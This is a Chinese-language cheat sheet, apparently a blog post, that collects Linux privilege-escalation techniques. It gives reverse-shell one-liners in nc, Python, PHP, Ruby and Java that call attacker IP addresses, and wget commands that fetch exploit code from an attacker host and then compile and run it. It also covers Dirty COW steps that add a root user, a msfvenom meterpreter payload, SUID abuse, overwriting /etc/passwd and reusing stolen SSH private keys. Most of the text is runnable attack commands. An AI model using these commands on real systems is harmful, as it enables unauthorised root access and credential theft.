Linux提權(quán)技巧全面匯總
在Linux系統(tǒng)中,提權(quán)是指獲取更高的權(quán)限,這通常通過使用特定的命令或工具來完成,在這篇文章中,我們將探討一些常見的Linux提升權(quán)限的技巧:常用提權(quán)命令,反彈shell,獲取完整交互式SHELL,Linux內(nèi)核漏洞提權(quán),臟牛提權(quán),metasploit linux提權(quán),SUID提權(quán),passwd提權(quán),ssh密鑰提權(quán)
常用命令
uname -a #查看內(nèi)核/操作系統(tǒng)/cpu信息 hend -n 1 /etc/issue #查看操作系統(tǒng)版本 cat /proc/version #查看系統(tǒng)信息 hostname #查看計算機名 env #查看環(huán)境變量 ifconfig #查看網(wǎng)卡 netstat -lntp # 查看所有監(jiān)聽端口 netstat -antp # 查看所有已經(jīng)建立的連接 netstat -s # 查看網(wǎng)絡(luò)統(tǒng)計信息 iptables -L #查看防火墻設(shè)置 route -n # 查看路由表 ps -ef # 查看所有進(jìn)程 top # 實時顯示進(jìn)程狀態(tài) w # 查看活動用戶 id # 查看指定用戶信息 last # 查看用戶登錄日志 cut -d: -f1 /etc/passwd # 查看系統(tǒng)所有用戶 cut -d: -f1 /etc/group # 查看系統(tǒng)所有組 crontab -l # 查看當(dāng)前用戶的計劃任務(wù) chkconfig –list # 列出所有系統(tǒng)服務(wù) chkconfig –list | grep on # 列出所有啟動的系統(tǒng)服務(wù) echo $PATH #查看系統(tǒng)路徑 which nc #查找nc的路徑
反彈shell
bash反彈
http://t.csdn.cn/IAItm
nc反彈
nc -e /bin/sh 192.168.10.128 6666 #但某些版本的nc沒有-e參數(shù)(非傳統(tǒng)版),則可使用以下方式解決 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666 >/tmp/f
python反彈
import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.10.128" , 6666 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ])
php反彈shell
php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby反彈shell
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
java反彈shell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
xterm反彈shell
xterm -display 10.0.0.1:1
獲取完整交互式SHELL
su root su:必須從終端中執(zhí)行
python偽終端
終端有些時候系統(tǒng)的命令終端不允許直接訪問,可以使用python虛擬化一個終端來執(zhí)行
python -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")'
Linux反彈shell解決亂碼
bash #從zsh切換到bash nc -lvp 6666 python3 -c 'import pty;pty.spawn("/bin/bash")' ctrl+z #將偽終端放置后臺任務(wù) stty -echo raw #設(shè)置原始格式 fg %1 #再調(diào)用后臺任務(wù)(輸入時無顯示) reset #初始化
Linux內(nèi)核漏洞提權(quán)
利用堆棧溢出漏洞,根據(jù)當(dāng)前系統(tǒng)尋找對應(yīng)的漏洞的exp,使用exp對其進(jìn)行提權(quán)。
uname -a #查看內(nèi)核/操作系統(tǒng)/cpu信息 uname -v cat /proc/version #內(nèi)核信息 cat /etc/issue #發(fā)行信息 cat /etc/redhat-release #發(fā)行信息 lsb_release -a #顯示發(fā)行版本信息
Linux version 3.19.0-15-generic
Ubuntu 15.04 Release
根據(jù)linux的內(nèi)核版本查找對應(yīng)的exp
searchsploit -t Ubuntu 15.04 #只利用標(biāo)題搜索 searchsploit -s Ubuntu 15.04 #執(zhí)行嚴(yán)格搜索,禁止對版本范圍進(jìn)行模糊搜索 searchsploit -s Linux Kernel 3.19.0 searchsploit -x linux/local/37088.c #檢查或打開漏洞 searchsploit -m linux/local/37088.c #將一個漏洞復(fù)制到當(dāng)前的工作目錄 wget http://192.168.10.128/37088.c -O /tmp/37088.c gcc 37088.c -o exp chmod +x exp ./exp
臟牛提權(quán) CVE-2016-5195
該漏洞是 Linux 內(nèi)核的內(nèi)存子系統(tǒng)在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導(dǎo)致可以破壞私有只讀內(nèi)存映射。黑客可以在獲取低權(quán)限的的本地用戶后,利用此漏洞獲取 其他只讀內(nèi)存映射的 寫權(quán)限,進(jìn)一步獲取 root 權(quán)限。
漏洞范圍
以下是主流發(fā)行版修復(fù)之后的內(nèi)核版本,如果你的內(nèi)核版本低于列表里的版本,表示還存在臟牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1 Linux內(nèi)核 >= 2.6.22(2007年發(fā)行,到2016年10月18日才修復(fù))
https://github.com/FireFart/dirtycow/blob/master/dirty.c wget http://192.168.10.128/dirty.c -O /tmp/dirty.c gcc -pthread dirty.c -o dirty -lcrypt chmod +x dirty ./dirty 123456 mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash python3 -c 'import pty;pty.spawn("/bin/bash")' su firefart cat /etc/shadow
metasploit linux提權(quán)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php')); msfconsole use exploit/multi/handler set payload php/meterpreter_reverse_tcp set lhost 192.168.10.128 set lport 12345 exploit //訪問shell.php文件時就會獲取一個session shell
提權(quán)命令
使用模塊查詢漏洞
run post/multi/recon/local_exploit_suggester
getuid 查看當(dāng)前用戶 shell 使用終端 https://www.exploit-db.com/exploits/37292 gcc 37292.c -o exp chmod +x exp ./exp
SUID提權(quán)
SUID是賦予文件的一種權(quán)限,它會出現(xiàn)在文件擁有者權(quán)限的執(zhí)行位上,具有這種權(quán)限的文件會在其執(zhí)行 時,使調(diào)用者暫時獲得該文件擁有者的權(quán)限。也就是如果ROOT用戶給某個可執(zhí)行文件加了S權(quán)限,那么 該執(zhí)行程序運行的時候?qū)碛蠷OOT權(quán)限。
chmod 4750 a.txt 4 說明 SUID 位被設(shè)置
SUID是一種對二進(jìn)制程序進(jìn)行設(shè)置的特殊權(quán)限,可以讓二進(jìn)制程序的執(zhí)行者臨時擁有屬主的權(quán)限(僅對擁有執(zhí)行權(quán)限的二進(jìn)制程序有效)。例如,所有用戶都可以執(zhí)行passwd命令來修改自己的用戶密碼,而用戶密碼保存在/etc/shadow文件中。仔細(xì)查看這個文件就會發(fā)現(xiàn)它的默認(rèn)權(quán)限是000,也就是說除了root管理員以外,所有用戶都沒有查看或編輯該文件的權(quán)限。但是,在使用passwd命令時如果加上SUID特殊權(quán)限位,就可讓普通用戶臨時獲得程序所有者的身份,把變更的密碼信息寫入到shadow文件中。
ls -al /etc/shadow -rw-r----- ls -al /bin/passwd -rwsr-xr-x
查找SUID文件
以下命令可以發(fā)現(xiàn)系統(tǒng)上運行的所有SUID可執(zhí)行文件
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \; /表示從文件系統(tǒng)的頂部(根)開始并找到每個目錄 -perm 表示搜索隨后的權(quán)限 -u = s表示查找root用戶擁有的文件 -type表示我們正在尋找的文件類型 f 表示常規(guī)文件,而不是目錄或特殊文件 2表示該進(jìn)程的第二個文件描述符,即stderr(標(biāo)準(zhǔn)錯誤)
常見suid提權(quán)文件
nmap vim find more less bash cp Nano mv awk man wgets
https://gtfobins.github.io/
sudo install -m =xs $(which less) . ./less file_to_read
passwd提權(quán)
ls -al /etc/passwd -rw-rw-rw-- 1 cc cc 2242 7月 13 11:23 /etc/passwd #這里要求至少有w權(quán)限 root:x:0:0:root:/root:/bin/bash openssl passwd -1 -salt coleak a123 $1$coleak$ryLF7yBUFqHmhDrl7czEK1 coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash wget http://192.168.10.128/a -O /etc/passwd ssh coleak@192.168.10.157 #su coleak
ssh密鑰提權(quán)
查看擁有bash的用戶
cat /etc/passwd | grep bash find / -name authorized_keys -type f 2>/dev/null cd /home/webper/.ssh
.ssh下文件含義
id_rsa(私鑰)服務(wù)器上經(jīng)過rsa算法生成的私鑰。與公鑰是一對的密鑰對,用于連接其他服務(wù)器用。
id_rsa.pub(公鑰)服務(wù)器上經(jīng)過rsa算法生成的公鑰。與私鑰是一對的密鑰對,用于連接其他服務(wù)器用。將主機A的id_rsa.pub內(nèi)容copy到B主機的authorized_keys文件中,這樣A主機就能不通過密碼連接到B主機。
authorized_keys(授權(quán)文件)實現(xiàn)真正無密碼連接,即為授權(quán)文件,當(dāng)把master的公鑰添加到authorized_keys文件中后,下次連接直接輸入ssh master即可,不需要再次輸入密碼。
如果目標(biāo)有使用id_rsa私鑰
進(jìn)行登陸,并且我們有權(quán)限讀取
可以將id_rsa下載或復(fù)制下來使用私鑰進(jìn)行登陸
md5sum id_rsa.pub md5sum authorized_keys chmod 600 id_rsa ssh -i id_rsa web1@192.168.10.153
相關(guān)文章
linux ubuntu中安裝、卸載和刪除python-igraph的方法教程
igraph是一個進(jìn)行圖計算和社交網(wǎng)絡(luò)分析的軟件包,支持python語言。下面這篇文章主要給大家介紹了關(guān)于在linux ubuntu中安裝、卸載和刪除python-igraph的方法教程,文中通過示例代碼介紹的非常詳細(xì),需要的朋友可以參考下。2017-11-11CentOS7服務(wù)器中apache、php7以及mysql5.7的安裝配置代碼
這篇文章主要介紹了CentOS7服務(wù)器中apache、php7以及mysql5.7的安裝配置代碼,需要的朋友可以參考下2017-10-10Ubuntu無網(wǎng)絡(luò)連接及標(biāo)識的解決方法
本文已解決 Ubuntu無網(wǎng)絡(luò)連接/無網(wǎng)絡(luò)標(biāo)識解決方法的相關(guān)問題,并總結(jié)提出了幾種可用解決方案,如果有遇到相同問題的朋友可以參考閱讀下本文,對解決問題有一定的幫助2024-09-09基于Nginx0.8.54+PHP5.3.4+MySQL5.5.8的全新LNMP穩(wěn)定版架構(gòu)搭建的VPS
經(jīng)過幾個小時的編譯安裝配置,基于Nginx0.8.54+PHP5.3.4+MySQL5.5.8的全新LNMP穩(wěn)定版架構(gòu)搭建的VPS終于穩(wěn)定運行。2010-12-12CentOS 6.4系統(tǒng)下編譯安裝LNMP和配置PHP環(huán)境具體步驟
下面介紹的是CentOS 6.4系統(tǒng)下編譯安裝LNMP和配置PHP環(huán)境具體步驟,感興趣的朋友可以參考下,希望對你配置php環(huán)境有所幫助2013-05-05centeros7 安裝配置環(huán)境jdk1.8的教程
這篇文章主要介紹了centeros7 安裝配置環(huán)境jdk1.8的教程,本文圖文并茂給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下2019-09-09